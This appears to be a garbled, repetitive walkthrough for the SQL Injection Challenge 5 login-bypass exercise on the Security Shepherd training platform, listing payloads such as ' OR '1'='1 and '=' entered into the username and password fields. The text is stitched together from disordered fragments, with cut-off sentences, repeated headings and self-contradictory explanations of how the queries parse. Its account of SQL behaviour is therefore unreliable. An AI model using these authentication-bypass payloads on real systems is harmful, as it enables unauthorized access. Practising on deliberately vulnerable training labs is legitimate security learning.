Sql Injection Challenge 5 Security Shepherd -

Security Shepherd – SQL Injection Challenge 5 Objective Log in as the administrator ( admin ) without knowing the password. The application likely filters or blocks common SQL injection patterns, so a more subtle payload is required. Scenario Overview The vulnerable page presents a login form (username + password). Backend SQL query resembles:

admin' Password: '||'1'='1

But if comments or spaces are limited, try:

This yields:

admin' Password: '=''

Query:

But comments allowed.

SELECT * FROM users WHERE username = 'admin'' AND password = ''='' Parsing: username = 'admin' AND password = ''='' password = '' is false, but ''='' is true. The = operator is overloaded. This yields a valid login.

admin' Password: ' OR '1'='1

username = 'admin' AND password = ''='' Since '' = '' is true, the condition becomes: username = 'admin' AND true → returns admin record. Sql Injection Challenge 5 Security Shepherd

admin' OR '1'='1 Password: anything

admin' Password: ' OR '1'='1'

Username: admin'' Password: ' OR ''=' Or more cleanly: Security Shepherd – SQL Injection Challenge 5 Objective

But Challenge 5 often requires using /**/ or + or leveraging = comparisons. Known working payload for Challenge 5 (OWASP Security Shepherd) Username: admin' Password: '='

admin' Password: ||'1'='1 (for PostgreSQL)